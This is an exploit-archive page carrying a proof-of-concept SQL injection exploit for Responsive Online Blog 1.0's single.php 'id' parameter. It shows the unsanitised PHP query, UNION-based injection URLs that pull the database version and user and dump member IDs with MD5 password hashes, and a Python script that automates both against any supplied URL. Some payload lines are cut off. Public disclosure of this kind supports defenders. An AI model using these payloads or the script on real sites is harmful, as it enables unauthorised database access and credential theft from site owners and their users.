

Responsive Online Blog 1.0 SQL Injection

Authored by [Eren Simsek, gh1mau](#)

Posted Jul 12, 2020

Responsive Online Blog version 1.0 remote SQL injection proof of concept exploit. Original discovery of the vulnerability is attributed to Eren Simsek.

tags | [exploit](#), [remote](#), [sql injection](#), [proof of concept](#)

SHA-256 | 5d4e52cdfc0782058b4f1fff1fc1f00d68fa727957fdb3a9694863b72b170b6c [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like 0

Tweet

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

[Download](#)

```
# Exploit Title: Responsive Online Blog 1.0 - 'single.php?id=' SQL Injection
# Date: 2020-07-03
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://www.sourcecodester.com/php/14194/responsive-online-blog-website-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14194&title=Responsive+Online+Blog+Website+using+PHP%2FMySQL
# Version: v1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
-----
single.php

Vulnerable Code:
-----
line 4: $id=$REQUEST['id']; $query="SELECT * from blogs where id='".$id."'";
$result=mysqli_query($GLOBALS["__mysqli_ston"],$query) or die ( ((is_object($GLOBALS["__mysqli_ston"])))?
mysqli_error($GLOBALS["__mysqli_ston"]): (($__mysqli_res = mysqli_connect_error()) ?$__mysqli_res :
true));

Vulnerable Issue:
-----
$id=$REQUEST['id'] has no sanitization

POC:
----

[Basic Info]
http://localhost/resblog/single.php?
id='+UNION+ALL+SELECT+NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL,NULL,NULL,NULL,NULL,NULL,--+

[User Credential Enumeration]
http://localhost/resblog/single.php?
id='+UNION+ALL+SELECT+NULL,CONCAT_WS(0x3a,memberID,passMD5),NULL,NULL,NULL,NULL,NULL,NULL,NULL+FROM+membership_u
--+

Python POC:
-----
import requests,re

URL = input("URL : <Ex: http://localhost/resblog>\n")
vulnFile = "/single.php?id="
payloadA =
"'+UNION+ALL+SELECT+NULL,CONCAT('gh1mau',version(),0x3a,database(),0x3a,user(),'gh1mau'),NULL,NULL,NULL,NULL,NUI
-+-"
payloadB =
"'+UNION+ALL+SELECT+NULL,CONCAT('gh1mau',memberID,0x3a,passMD5,'gh1mau'),NULL,NULL,NULL,NULL,NULL,NULL,NULL+FROM
-+-"

#print("\nPayload Testing : \n" + URL + vulnFile + payloadA + "\n")
pattern = "(?<=gh1mau).*?(?=gh1mau)"

rA = requests.get(URL+vulnFile+payloadA)
version=re.findall(pattern,rA.text)

print("Basic Info:")
print(version)

rB = requests.get(URL+vulnFile+payloadB)
user=re.findall(pattern,rB.text)

print("\nCredentials:")
print(user)
```

Search ...



Follow us on Twitter



Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files

Ubuntu 52 files

Gentoo 44 files

Debian 27 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secuR1ty 6 files

mjurczyk 4 files

George Tsimpidas 3 files

File Tags

ActiveX (932)
 Advisory (79,557)
 Arbitrary (15,643)
 BBS (2,859)
 Bypass (1,615)
 CGI (1,015)
 Code Execution (6,913)
 Conference (672)
 Cracker (840)
 CSRF (3,288)
 DoS (22,541)
 Encryption (2,349)
 Exploit (50,293)
 File Inclusion (4,162)
 File Upload (946)
 Firewall (821)
 Info Disclosure (2,656)

File Archives

November 2022
 October 2022
 September 2022
 August 2022
 July 2022
 June 2022
 May 2022
 April 2022
 March 2022
 February 2022
 January 2022
 December 2021
 Older

Systems

AIX (426)
 Apple (1,926)

[Login](#) or [Register](#) to add favorites

- Intrusion Detection (866)
- BSD (370)
- Java (2,888)
- CentOS (55)
- JavaScript (817)
- Cisco (1,917)
- Kernel (6,255)
- Debian (6,620)
- Local (14,173)
- Fedora (1,690)
- Magazine (586)
- FreeBSD (1,242)
- Overflow (12,390)
- Gentoo (4,272)
- Perl (1,417)
- HPUX (878)
- PHP (5,087)
- iOS (330)
- Proof of Concept (2,290)
- iPhone (108)
- Protocol (3,426)
- IRIX (220)
- Python (1,449)
- Juniper (67)
- Remote (30,009)
- Linux (44,118)
- Root (3,496)
- Mac OS X (684)
- Ruby (594)
- Mandriva (3,105)
- Scanner (1,631)
- NetBSD (255)
- Security Tool (7,768)
- OpenBSD (479)
- Shell (3,098)
- RedHat (12,339)
- Shellcode (1,204)
- Slackware (941)
- Sniffer (885)
- Solaris (1,607)
- Spoof (2,165)
- SUSE (1,444)
- SQL Injection (16,089)
- Ubuntu (8,147)
- TCP (2,377)
- UNIX (9,150)
- Trojan (685)
- UnixWare (185)
- UDP (875)
- Windows (6,504)
- Virus (661)
- Other
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other

Site Links


- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory


About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed